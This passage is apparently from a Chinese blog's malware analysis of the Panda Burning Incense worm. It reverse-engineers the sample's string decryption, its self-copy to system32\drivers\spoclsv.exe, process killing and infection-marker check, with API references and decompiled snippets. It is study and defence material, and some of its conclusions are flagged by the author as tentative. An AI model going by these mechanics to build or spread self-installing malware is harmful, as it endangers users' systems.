下面这个call又调用了sub_402650()字符串拷贝函数。

在循环处下多几个断点,查看在循环的过程中地址B10068附近数据的变化。

发现在地址40CC94的那一串字符与“xboy”异或后变成“武汉男生感染下载者”,存在了地址B10088中。

5.2.3 sub_403C98

是5.1分析过的函数,不再赘述。

5.2.4 sub_403C68

也是进行了一些原子操作,不用管。

5.2.5 总结

这个函数最主要部分就是循环,“xboy”与那奇怪的字符串异或后变成“武汉男生感染下载者”,说明进行了解密,不妨将sub_405360()函数更名为DecodeString()

5.3 sub_404018函数分析

这个函数也是用户自定义调用约定,第一个参数存入eax,第二个参数存入edx,返回值存入eax。

1
int __usercall sub_404018@<eax>(int result@<eax>, int a2@<edx>)

结合来看,不难猜测这个函数的功能是字符串比较。将该函数更名为CMPString()

至此,病毒的初始化全过程已经进入尾声了。不得不说,分析样本真的好累啊,分析了两天才分析完样本的初始化。接下来分析紧接着的三个函数是熊猫烧香病毒最重要的功能。

6. 动静结合分析样本——病毒释放机理

继续看主函数的sub_408024()sub_40CA5C()sub_40C97C(),这三个是熊猫烧香的核心函数。

6.1 sub_408024函数分析

1
int __thiscall sub_408024(void *this)

__thiscall的主要特征是:

  • 由被调用者清除堆栈
  • 参数从右往左依次入栈
  • this指针通过ECX传递,而不是用栈

在这个函数中,有非常多的子函数,接下来逐一分析。

6.1.1 sub_40277C

1
int __usercall sub_40277C@<eax>(int a1@<eax>, _DWORD *a2@<edx>)

sub_40277C()函数中有两个API函数:GetModuleFileName()GetCommandLine()

GetModuleFileName()的功能是获取当前进程已加载模块的文件的完整路径,该模块必须由当前进程加载。如果想要获取另一个已加载模块的文件路径,可以使用GetModuleFileNameEx()函数。

1
2
3
4
5
DWORD WINAPI GetModuleFileName(
_In_opt_ HMODULE hModule,
_Out_ LPTSTR lpFilename,
_In_ DWORD nSize
);

参数:

  • hModule:Long类型,一个模块的句柄。可以是一个DLL模块,或者是一个应用程序的实例句柄。如果该参数为NULL,该函数返回该应用程序全路径。
  • lpFileName:String类型,指定一个字串缓冲区,要在其中容纳文件的用NULL字符中止的路径名,hModule模块就是从这个文件装载进来的。
  • nSize:Long类型,装载到缓冲区lpFileName的最大字符数量。

返回值:Long,如执行成功,返回复制到lpFileName的实际字符数量;零表示失败。使用GetLastError()可以打印错误信息。

GetCommandLine()的功能是获得指向当前命令行缓冲区的一个指针。

1
LPTSTR GetCommandLine(void);

无参数,返回值是一个指向当前进程的命令行字符串的指针。

当执行完GetModuleFileName()函数后,在数据窗口可以看到该程序的绝对路径,并且绕过了GetCommandLine()。根据地址402792那一行的jnz跳转指令可知,sub_40277C()的功能是要么获取当前程序绝对路径,要么获取当前命令行缓冲区的指针。

将该函数重命名为GetFilePathAndName()

6.1.2 sub_405684

1
_DWORD *__usercall sub_405684@<eax>(int a1@<eax>, int a2@<edx>)

进入sub_405684()函数,发现一个小循环,遇到斜杠、反斜杠或冒号则跳出循环。它的目的要么是想不包含病毒文件名的路径,要么想获取样本的名字。

来到地址4056D8时,这三个寄存器存的值的含义如下:

EAX存的是绝对路径;ECX存的是在绝对路径中程序名的索引值;EDX被置为1,暂时不知道有什么含义。

1
_DWORD *__userpurge sub_40412C@<eax>(int a1@<eax>, int a2@<edx>, int a3@<ecx>, _DWORD *a4)

__userpurge__usercall一样,都是用户自定义函数调用约定,唯一的区别是__userpurge表示由被调用者清理堆栈

进入sub_40412C()函数,有两个子函数分别是sub_403D34()sub_403C44(),这两个函数前面都有分析过,sub_403D34()分配一定大小的内存空间,进行字符串拷贝。sub_403C44()初始化寄存器。

发现sub_405684()其实是想获取不包含病毒文件名的路径,将它更名为GetFilePath()

6.1.2.1 局部变量

sub_405684()函数里,可以看到一些局部变量。比如:

1
2
0040568C  |.  8945 FC       mov [local.1],eax
0040568F |. 8B45 FC mov eax,[local.1]

[local.1]表示第一个局部变量,存放在栈里的[ebp-4]的位置。

以此类推,[local.2]存放在[ebp-8]的位置。

如果想让它直接显示与ebp的偏移,可在选项 -> 调试设置 -> 分析1 -> 取消勾选“显示函数中的参数及局部变量”。或者选中相应行,按空格键查看汇编代码。

6.1.3 sub_403ED4

1
char **__usercall sub_403ED4@<eax>(char **result@<eax>, char *a2@<edx>)

这个函数在5.2.2.2也分析过,但当时只是初始化,了解得很笼统。但结合实例很容易分析出来这是一个字符串拼接函数。

sub_403ED4()更名为StringCat()

6.1.4 sub_4057A4

进入无需传参的sub_4057A4(),有一个子函数sub_40573C()也无需传参,继续进入,发现有4个API函数。

FindFirstFile()查找指定目录的第一个文件或目录并返回它的句柄。

1
2
3
4
HANDLE FindFirstFileA(
[in] LPCSTR lpFileName,
[out] LPWIN32_FIND_DATA lpFindFileData
);

参数:

  • lpFileName:指向字符串的指针,用于指定一个有效的目录。
  • lpFindFileData:指向一个WIN32_FIND_DATA的指针,用于存放找到文件或目录的信息。

返回值:

  • 如果成功,则返回找到文件或目录的句柄。在FindNextFile()FindClose()函数中会用到此句柄。
  • 如果失败,返回INVALID_HANDLE_VALUE。要获得更多的信息调用GetLastError()函数。

FindClose()用于关闭由FindFirstFile()函数创建的一个搜索句柄。

1
2
3
BOOL FindClose(
HANDLE hFindFile // file search handle
);

参数:

  • hFindFile:FindFirstFile()创建的句柄。

返回值:

  • 调用成功,返回一个非0值。
  • 失败,返回0,可利用GetLastError()来得到错误信息。

FileTimeToLocalFileTime()将一个FILETIME结构转换成本地时间。

1
2
3
4
BOOL FileTimeToLocalFileTime(
[in] const FILETIME* lpFileTime,
[out] LPFILETIME lpLocalFileTime
);

参数:

  • lpFileTime:指向FILETIME结构,其中包含要转换为本地文件时间的基于UTC的文件时间。
  • lpLocalFileTime:指向FILETIME结构的指针,以接收转换后的本地文件时间。

返回值:非0表示成功,0表示失败。

FileTimeToDosDateTime()将一个 FILETIME 值转换成 MS-DOS 日期和时间值。

1
2
3
4
5
BOOL FileTimeToDosDateTime(
[in] const FILETIME *lpFileTime,
[out] LPWORD lpFatDate,
[out] LPWORD lpFatTime
);

参数:

  • lpFileTime:指向 FILETIME 结构的指针,其中包含要转换为 MS-DOS 日期和时间格式的文件时间。

  • lpFatDate:指向接收MS-DOS日期的变量的指针。日期是以下格式的压缩值。

    | 比特 | 说明 |
    | —— | —————————————————————————- |
    | 0-4 | Day of the month (1–31) |
    | 5-8 | Month (1 = January, 2 = February, etc.) |
    | 9-15 | Year offset from 1980 (add 1980 to get actual year) |

  • lpFatTime:指向接收MS-DOS时间的变量的指针。时间是以下格式的压缩值。

    | 比特 | 说明 |
    | —— | ——————————————— |
    | 0-4 | 秒除以2 |
    | 5-8 | Minute (0–59) |
    | 9-15 | Hour (0–23 on a 24-hour clock) |

返回值:非0表示成功,0表示失败。

这就很好懂啦,整个sub_4057A4()做的就是某个检查文件是否存在当前目录,如果存在则转换成文件的本地时间和DOS日期。将它更名为CheckFileExist()

6.1.5 sub_4078E0

由于当前没有Desktop_.ini文件,所以下面的一系列call也都被跳过了。我们先跟着流程跳过,稍后回来到这里再分析它们。

再次调用sub_40277C(),也就是GetFilePathAndName()后,调用sub_4078E0()

1
_DWORD *__usercall sub_4078E0@<eax>(int a1@<eax>, char **a2@<edx>, int a3@<ebx>, int a4@<edi>, int a5@<esi>)

6.1.5.1 sub_402EB8

进去到sub_402EB8()后只有一个函数sub_402DD8()。进去发现又是API函数。

CreateFile()创建或打开文件,GetStdHandle()获取句柄,GetLastError()收集错误信息。

发现它打开了它自己setup.exe

6.1.5.2 sub_402614

1
void __thiscall __spoils<ecx> sub_402614(void *this)

如果使用__spoils关键字,指定的列表将覆盖标准的破坏列表。对于x86,标准的破坏列表是,破坏列表也可以为空。

进入该函数里面只有一个函数sub_40499C(),里面只有一个API函数TlsGetValue(),该API函数的作用是检索调用线程的线程本地存储(TLS)槽中指定 TLS 索引的值。进程的每个线程对于每个 TLS 索引都有自己的槽。

1
2
3
LPVOID TlsGetValue(
[in] DWORD dwTlsIndex
);

参数:

  • dwTlsIndex:由TlsAlloc()函数分配的TLS索引。

返回值:

  • 如果函数成功,则返回值是存储在与指定索引关联的调用线程TLS插槽中的值。如果dwTlsIndex是成功调用TlsAlloc()分配的有效索引,则此函数始终成功。
  • 如果函数失败,则返回值为零。要获取扩展的错误信息,请调用GetLastError()

当然这个API函数基本上都被跳过了,因为前面都没有用到TlsAlloc()函数。

6.1.5.3 sub_402D28

里面有个API函数GetFileSize()用来获取文件大小。文件大小为0xEC00。

6.1.5.4 sub_402CBC

里面有两个函数:sub_402CD8()sub_402D28()。后者已经在上面分析过了。sub_402CD8()里有个API函数SetFilePointer(),用来设置文件指针。

6.1.5.5 sub_402C28

在这个函数里面,可以看到将ReadFile()函数入栈,调用sub_402B9C()

进入sub_402B9C(),执行ReadFile()函数。这里的[arg.2]表示[ebp+0xC]。

1
2
3
4
5
6
7
8
9
BOOL ReadFile(
HANDLE hFile, //文件的句柄
LPVOID lpBuffer, //用于保存读入数据的一个缓冲区
DWORD nNumberOfBytesToRead, //要读入的字节数
LPDWORD lpNumberOfBytesRead, //指向实际读取字节数的指针
LPOVERLAPPED lpOverlapped
//如文件打开时指定了FILE_FLAG_OVERLAPPED,那么必须,用这个参数引用一个特殊的结构。
//该结构定义了一次异步读取操作。否则,应将这个参数设为NULL
);

可以看到它将自己读到了内存中去。

6.1.5.6 sub_403D34、sub_403ED4和sub_402CBC

这三个函数上面都有分析过,sub_403D34()StringCopy()sub_403ED4()StringCat()sub_402CBC()设置文件指针。

发现这是一个循环,在跳转处下断点,关注数据窗口发现有哪些数据被修改了。

第一次,将自己一部分写入到内存中:

第二次,继续将自己一部分写入到内存中:

第三次,将剩下的部分写入到内存中:

结合循环中的汇编代码分析,文件大小为0xEC00,每次读取0x5000进行拷贝和拼接,所以这个循环是将自身读到内存中去。

其中,我们可以看到一些“1234”等等的字符串,那是病毒作者将爆破字典也写入到了病毒里面,企图利用暴力破解的方式来攻破计算机中的某些验证机制。

6.1.5.7 sub_402C48

1
int __usercall sub_402C48@<eax>(int a1@<eax>)

进入后,继续进入sub_402DB0(),继续进入sub_4028FC(),里面有个CloseHandle()函数,用来关闭我们刚才打开的程序。其它函数都不太重要,不用在意。

6.1.5.8 sub_403ECC、sub_40412C和sub_403C44

sub_403ECC()函数是求字符串长度的,在这里是求三次循环后复制的字符串长度,应该为0xF000。执行完这个函数后,与文件大小0xEC00相比,跳转未实现,需要进入sub_40412C()函数。

sub_40412C()函数我们也分析过,它里面有个函数是StringCopy()

sub_403C44()也分析过,初始化寄存器。

6.1.5.9 总结

至此,sub_4078E0()就全分析完了,样本将自己读取到内存上,是因为样本中有爆破字典,企图利用暴力破解的方式来攻破计算机中的某些验证机制。

将该函数更名为WriteVirusInfoToMem()

6.1.6 sub_40532C

1
DWORD __usercall sub_40532C@<eax>(int a1@<eax>, char **a2@<edx>)

sub_403ECC()求文件绝对路径的长度,sub_403D34()StringCopy(),还有个API函数,CharUpperBuff()表示将字符串中的小写字母全都转化为大写字母。

所以这个函数的功能是将文件路径改为大写字母,更名为UpperFilePath()

6.1.7 sub_4054BC

1
char **__usercall sub_4054BC@<eax>(int *a1@<eax>)

这里有个API函数GetSystemDirectoryA(),原型如下:

1
2
3
4
UINT WINAPI GetSystemDirectory(
__out LPTSTR lpBuffer,
__in UINT uSize
);

参数:

  • lpBuffer:用于装载系统目录路径名的一个字串缓冲区。
  • uSize:lpBuffer字串的最大长度。

返回值:装载到lpBuffer缓冲区的字符数量。如lpBuffer不够大,不能容下文件名,则返回要求的缓冲区长度。

它的作用是获得系统目录C:\WINDOWS\system32,同时也是这个函数的主要功能。将它更名为GetSystemDirectory()

6.1.8 sub_403F8C

从IDA中可以很容易理解sub_403F8C()函数的作用,也就是将这三个字符串拼接成路径的地址存到v8当中。

为了验证猜想,在OD中步过sub_403F8C()试试。

所以这个函数也可以看成是字符串拼接函数,它是从后往前拼接的,更名为ReverseStringCat()

6.1.9 sub_4060D4

1
char *__usercall sub_4060D4@<eax>(int a1@<eax>)

6.1.9.1 sub_405028

进入函数内部,进入sub_405028(),再进入sub_404DAC(),看到一连串的API函数。

使用GetModuleHandleA()获取kernel32.dll的句柄,再利用kernel32.dll中的GetProcAddress()函数获取所需要的API函数。

1
2
3
4
FARPROC GetProcAddress(
HMODULE hModule, // DLL模块句柄
LPCSTR lpProcName // 函数名
);

参数:

  • hModule:[in] 包含此函数的DLL模块的句柄。LoadLibrary()AfxLoadLibrary()或者GetModuleHandle()函数可以返回此句柄。
  • lpProcName:[in] 包含函数名的以NULL结尾的字符串,或者指定函数的序数值。如果此参数是一个序数值,它必须在低字,高字必须为0。

返回值:

  • 如果函数调用成功,返回值是DLL中的输出函数地址。
  • 如果函数调用失败,返回值是NULL。得到进一步的错误信息,调用函数GetLastError。

可以看到它调用了非常多的API函数,各API函数的功能如下:

API函数 功能
CreateToolhelp32Snapshot 通过获取进程信息为指定的进程、进程使用的堆、模块、线程建立一个快照。
Heap32ListFirst 检索有关指定进程已分配的第一个堆的信息。
Heap32ListNext 检索有关进程已分配的下一个堆的信息。
Heap32First 检索有关已由进程分配的堆的第一个块的信息。
Heap32Next 检索有关已由进程分配的堆的下一个块的信息。
Toolhelp32ReadProcessMemory 将分配给另一个进程的内存复制到应用程序提供的缓冲区中。
Process32First/Process32FirstW 检索有关系统快照中遇到的第一个进程的信息。
Process32Next/Process32NextW 检索有关系统快照中记录的下一个进程的信息。
Thread32First 检索有关系统快照中遇到的任何进程的第一个线程的信息。
Thread32Next 检索有关系统内存快照中遇到的任何进程的下一个线程的信息。
Module32First/Module32FirstW 检索有关与进程关联的第一个模块的信息。
Module32Next/Module32NextW 检索有关与进程或线程关联的下一个模块的信息。

将这些API函数的地址存到用户程序的某个地方。

存好后执行CreateToolhelp32Snapshot()获取当前进程快照。

1
2
3
4
HANDLE CreateToolhelp32Snapshot(
[in] DWORD dwFlags,
[in] DWORD th32ProcessID
);

Flags为2表示在快照中包含系统中的所有进程。要枚举这些进程,请参见 Process32First()。 ProcessID为0表示当前进程。如果调用成功,返回快照的句柄,此快照的句柄为0x98。

将它更名为CreateSnapshot()

6.1.9.2 sub_405048

sub_405028()一样调用sub_404DAC(),但这次用的是Process32First(),用来检索有关系统快照中遇到的第一个进程的信息。

1
2
3
4
BOOL Process32First(
[in] HANDLE hSnapshot,
[in, out] LPPROCESSENTRY32 lppe
);

参数:

  • hSnapshot:从上次调用CreateToolhelp32Snapshot()函数返回的快照句柄。
  • lppe:指向PROCESSENTRY32结构的指针。它包含进程信息,如可执行文件的名称、进程标识符和父进程的进程标识符。

将它更名为ProcessFirst()

6.1.9.3 sub_406028

进入循环,先看sub_406028()函数。

1
_DWORD *__usercall sub_406028@<eax>(int a1@<eax>, _DWORD *a2@<edx>)

进入sub_406028()函数,可以看到这也是一个字符串拷贝函数,将eax存的内容拷贝到edx存的地址处。

6.1.9.4 sub_405FA8

1
_DWORD *__usercall sub_405FA8@<eax>(int a1@<eax>, volatile signed __int32 *a2@<edx>)

进入sub_405FA8()函数,前面函数都分析过,无非是初始化、分配空间、求字符串长度。重要的是循环,进入循环后第一个函数sub_402804()

1
2
3
4
5
6
unsigned __int8 __usercall sub_402804@<al>(unsigned __int8 result@<al>)
{
if ( result >= 'a' && result <= 'z' )
result -= 32;
return result;
}

在IDA中可以看出这个函数是将小写字母转换为大写字母。

第二个函数sub_404124(),eax中存的是内容的地址的地址。

1
2
3
4
char *__usercall sub_404124@<eax>(char **eax0@<eax>)
{
return sub_4040D8(eax0);
}

sub_404124()很像我们刚开始分析的sub_403C98(),将spoclsv.exe字符串拷贝到地址0xB38048中。继续进行循环。

将地址0xB38048的字符’s’修改为’S’,由此可以推测这个循环是将地址0xB38048的字符串转换成大写形式。

6.1.9.5 sub_403EB4

1
_DWORD *__usercall sub_403EB4@<eax>(char **a1@<eax>, char *a2@<edx>, int a3@<ecx>)

由于eax为0,合理猜测返回值会存到eax中。而这个值是指向真正内容的地址。它内部有一个sub_403D34()函数,也就是StringCopy()

6.1.9.6 sub_405068

1
int __usercall sub_405068@<eax>(int a1@<eax>, int a2@<edx>)

里面又调用到了sub_404DAC(),这次取Process32Next()函数,检索有关系统快照中记录的下一个进程的信息。将它更名为ProcessNext()

循环几次发现,循环的作用是遍历系统中的所有进程,查找名为spoclsv.exe的程序。转换为大写字母我猜是进行了一个简单的加密操作而已。

6.1.9.7 sub_4060B4

当在快照中找到spoclsv.exe后,执行sub_4060B4()函数。

1
2
3
4
5
6
7
BOOL __usercall sub_4060B4@<eax>(DWORD a1@<eax>)
{
HANDLE v1; // eax@1

v1 = OpenProcess(0x1F0FFFu, -1, a1);
return (unsigned int)TerminateProcess(v1, 0) >= 1;
}

两个API函数:OpenProcess()TerminateProcess()

1
2
3
4
5
HANDLE OpenProcess(
[in] DWORD dwDesiredAccess,//渴望得到的访问权限(标志)
[in] BOOL bInheritHandle,// 是否继承句柄
[in] DWORD dwProcessId// 进程标示符
);

OpenProcess()函数用来打开一个已存在的进程对象,并返回进程的句柄。

1
2
3
4
BOOL TerminateProcess(
[in] HANDLE hProcess,
[in] UINT uExitCode
);

TerminateProcess()用来终止指定的进程及其所有线程。

在这里,spoclsv.exe的进程ID为0x1376C,OpenProcess()的作用是将spoclsv.exe赋予所有权限,继承句柄。返回值为spoclsv.exe的句柄0xA4。接着使用TerminateProcess()终止spoclsv.exe

将它更名为GrantAllRights()

最后使用CloseHandle()关闭快照的句柄。

1
2
3
BOOL CloseHandle(
HANDLE hObject
);

以上就是sub_4060D4()完整的一个流程,简单来说就是捕获当前系统所有进程的状态,遍历所有进程找到指定进程并赋予所有访问权限,最后关闭自身达到隐藏目的,将它更名为GrantAllRightsAndClose()

6.1.10 sub_4040CC

1
char *__usercall sub_4040CC@<eax>(char *result@<eax>)
1
2
3
4
5
6
004040CC  /$  85C0          test eax,eax
004040CE |. 74 02 je short setup.004040D2
004040D0 |. C3 retn
004040D1 | 00 db 00
004040D2 |> B8 D1404000 mov eax,setup.004040D1
004040D7 \. C3 retn

这个函数的作用是比较eax的值是否为0,可以用来检测返回值、判断文件是否存在等。

6.1.11 回到父函数sub_408024

继续看下面的API函数SetFileAttributesA(),用来设置文件或目录的属性:

1
2
3
4
BOOL SetFileAttributesA(
[in] LPCSTR lpFileName,
[in] DWORD dwFileAttributes
);

参数:

  • lpFileName:要设置其属性的文件名。
  • dwFileAttributes:带有FILE_ATTRIBUTE_前缀的一个或多个常数,用来设置文件属性。
Attribute Meaning
FILE_ATTRIBUTE_ARCHIVE
32 (0x20)
该文件是一个存档文件。应用程序使用此属性来备份或移除标记文件。
FILE_ATTRIBUTE_HIDDEN
2 (0x2)
该文件是隐藏的。它不包括在普通的目录列表。
FILE_ATTRIBUTE_NORMAL
128 (0x80)
该文件没有设置其他的属性。此属性仅在单独使用有效。
FILE_ATTRIBUTE_NOT_CONTENT_INDEXED
8192 (0x2000)
该文件将不被内容索引服务编制索引。
FILE_ATTRIBUTE_OFFLINE
4096 (0x1000)
该文件的数据不是立即可用。此属性表明文件数据被物理移动到离线存储。此属性用于通过远程存储,分层存储管理软件。应用程序不应随意更改此属性。
FILE_ATTRIBUTE_READONLY
1 (0x1)
该文件是只读的。应用程序可以读取该文件,但不能写入或删除它。
FILE_ATTRIBUTE_SYSTEM
4 (0x4)
该文件是操作系统的一部分,或者完全由它使用。
FILE_ATTRIBUTE_TEMPORARY
256 (0x100)
该文件是被用于暂时存储。文件系统避免写入数据传回海量存储如果有足够的缓存内存可用,因为经常在应用程序删除后不久,这个句柄被关闭的临时文件。在这种情况下,该系统可以完全避免记录的数据。否则,在手柄关闭的数据将被写入。

C:\WINDOWS\system32\drivers\spoclsv.exe设置为FILE_ATTRIBUTE_NORMAL属性。

继续往下看到CopyFileA(),将现有文件复制到新文件。

1
2
3
4
5
BOOL CopyFileA(
[in] LPCSTR lpExistingFileName,
[in] LPCSTR lpNewFileName,
[in] BOOL bFailIfExists
);

继续看WinExec(),运行指定的程序。

1
2
3
4
UINT WinExec(
LPCSTR lpCmdLine,
UINT uCmdShow
);

参数:

  • lpCmdLine:指向一个空结束的字符串,串中包含将要执行的应用程序的命令行(文件名加上可选参数)。
  • uCmdShow:定义Windows应用程序的窗口如何显示,并为CreateProcess()函数提供STARTUPINFO参数的wShowWindow成员的值。
uCmdShow参数可选值 含义
SW_HIDE = 0 隐藏, 并且任务栏也没有最小化图标
SW_SHOWNORMAL = 1 用最近的大小和位置显示, 激活
SW_NORMAL = 1 同 SW_SHOWNORMAL
SW_SHOWMINIMIZED = 2 最小化, 激活
SW_SHOWMAXIMIZED = 3 最大化, 激活
SW_MAXIMIZE = 3 同 SW_SHOWMAXIMIZED
SW_SHOWNOACTIVATE = 4 用最近的大小和位置显示, 不激活
SW_SHOW = 5 同 SW_SHOWNORMAL
SW_MINIMIZE = 6 最小化, 不激活
SW_SHOWMINNOACTIVE = 7 同 SW_MINIMIZE
SW_SHOWNA = 8 同 SW_SHOWNOACTIVATE
SW_RESTORE = 9 同 SW_SHOWNORMAL
SW_SHOWDEFAULT = 10 同 SW_SHOWNORMAL
SW_MAX = 10 同 SW_SHOWNORMAL

返回值:

  • 若函数调用成功,则返回值大于31。
  • 若函数调用失败,则返回值为下列之一:
    ① 0:系统内存或资源已耗尽。
    ② ERROR_BAD_FORMAT=11:EXE文件无效(非Win32.EXE或.EXE影像错误)。
    ③ ERROR_FILE_NOT_FOUND=2:指定的文件未找到。
    ④ ERROR_PATH_NOT_FOUND=3:指定的路径未找到。

这里表示运行C:\WINDOWS\system32\drivers\spoclsv.exe,用最近的大小和位置显示,激活。

ExitProcess()函数用来结束调用进程及其所有线程。

1
2
3
void ExitProcess(
[in] UINT uExitCode
);

运行到这里时,setup.exe的工作已经结束了。什么?!但我们的病毒远不止有这些功能啊?回看哪个地方可以让我们跳过ExitProcess()

发现在字符串对比时,字符串为C:\WINDOWS\SYSTEM32\DRIVERS\SPOCLSV.EXE才可以跳过ExitProcess()继续执行病毒的其它功能。那么怎么才能让字符串为这个呢?

通过IDA可以看到,我们通过GetFilePathAndName()获取的当前路径名要等于C:\WINDOWS\system32\drivers\spoclsv.exe才可以绕过ExitProcess()函数。

这意味着,setup.exe的功能是将自己读到内存中去,复制自身到C:\WINDOWS\system32\drivers\spoclsv.exe,赋予普通文件权限,最后启动spoclsv.exesetup.exe的任务就完成了,接下来就是spoclsv.exe要做的事情了。

加载spoclsv.exe到IDA和OD,重走一遍sub_408024()函数,观察流程与setup.exe有何不同。前面都一样,又来到了这里。

这次两个字符串一致,绕过ExitProcess()函数继续执行病毒的其它功能。

6.1.12 sub_40416C

1
int __usercall sub_40416C@<eax>(_DWORD *a1@<eax>, int a2@<edx>, int a3@<ecx>)

eax存的是PE文件加载进内存的起始地址,edx存的是文件大小,ecx的值为0。

用OD走一下流程,进入sub_40411C()。如果dword ptr ds:[edx-0x8]的值为1,则跳过下面的AllocStackAndCopyString()函数,否则执行AllocStackAndCopyString()

分析汇编指令可知,如果执行AllocStackAndCopyString(),则分配0xEC00大小的空间,将自身拷贝到分配的那个内存空间中去。所以可以猜测这个函数的功能是判断病毒程序是否被加载进内存。(?不知道分析的对不对,感觉有点问题)

6.1.13 sub_4041B4

1
_BYTE *__usercall sub_4041B4@<eax>(_BYTE *result@<eax>, _BYTE *a2@<edx>)

这个函数传入的参数是两个byte型指针,返回值也是一个byte型指针。

看到byte数据类型很容易联想到这是否是一个标记,sub_4041B4()就是查找程序中是否包含这个标记,如果包含这个标记,则执行jg跳转,否则不跳转。

进入函数,发现edx为0直接对eax清零,退出函数。说明该程序没有这个标记,如果有,则edx不应该为0且会进入到循环执行某些操作,退出函数后执行jg跳转。

如果执行jg跳转,经过非常多函数后,最后执行ExitProcess()函数退出程序,也就去不到熊猫烧香的其它核心函数了。所以可以猜测这个标记应该就是病毒将正常的PE文件感染后,在原本正常PE文件中添加的01标记,用于标识该程序是否被感染。如果真是这样的话,若想分析跳转后的程序内容,可以在OD中修改标志位,或对一个被感染的程序进行分析。

将这个函数命名为SearchSignPos()

由于我们现在分析的是spoclsv.exe,它自身没有0x01标记,因此跳转不成立,继续往下执行。

下面的指令主要用于收尾工作,最后的call用于删除堆栈中所保存的地址,这些地址指向的是病毒写入的一些信息。

6.1.14 总结

至此,熊猫烧香样本的第一个核心函数分析完毕。

它的主要功能是先获取当前程序的绝对路径,再获取不包含程序名的绝对路径,查找该目录下是否有Desktop_.ini文件,如果有则将文件属性设置为普通文件,接着删除该文件。

Desktop_.ini文件是系统可识别文件,其作用是存储用户对文件夹的个性设置,比如用户更改了文件夹图标、背景颜色等等,其配置信息都会存入到这个文件夹的Desktop_.ini文件中,用户可以使用记事本的方式打开,里面均为一些代码配置文件。

Desktop_.ini文件属于文件夹的配置文件,用户可以删除,删除后不会影响文件夹,只是会让文件夹恢复为默认设置。另外,Desktop_.ini文件并不是病毒文件。

值得一提的是,Desktop_.ini文件默认为系统配置文件,大小仅几Kb左右,不过如果用户设置的项目较多的话,也会导致Desktop_.ini文件变的很大。这个文件如果容量很大的话,打开这个文件夹容易出现卡死现象,因此也经常会有一些电脑高手恶搞,将一个电影文件改成Desktop_.ini文件,然后放置在电脑桌面或者文件夹当中,导致电脑变卡。

如果没有该文件则将病毒信息写入到内存中,并检查是否将病毒完全写入,如果没有完全写入则调用for循环将剩余信息写入到内存中。获取当前程序路径转换为大写字母的形式与构造的路径C:\WINDOWS\system32\drivers\spoclsv.exe转换为大写字母的形式比较,如果不一致则创建或重写spoclsv.exe,设置为普通文件属性,将当前程序复制到spoclsv.exe(相当于复制setup.exe到指定目录,更名为spoclsv.exe),运行spoclsv.exe,退出当前程序。检查spoclsv.exe是否被感染,也就是是否有01标记,由于它是病毒自身,不存在是否被感染问题,所以跳过一大段对非病毒程序的操作,执行最后的函数收尾工作。

6.2 sub_40CA5C函数分析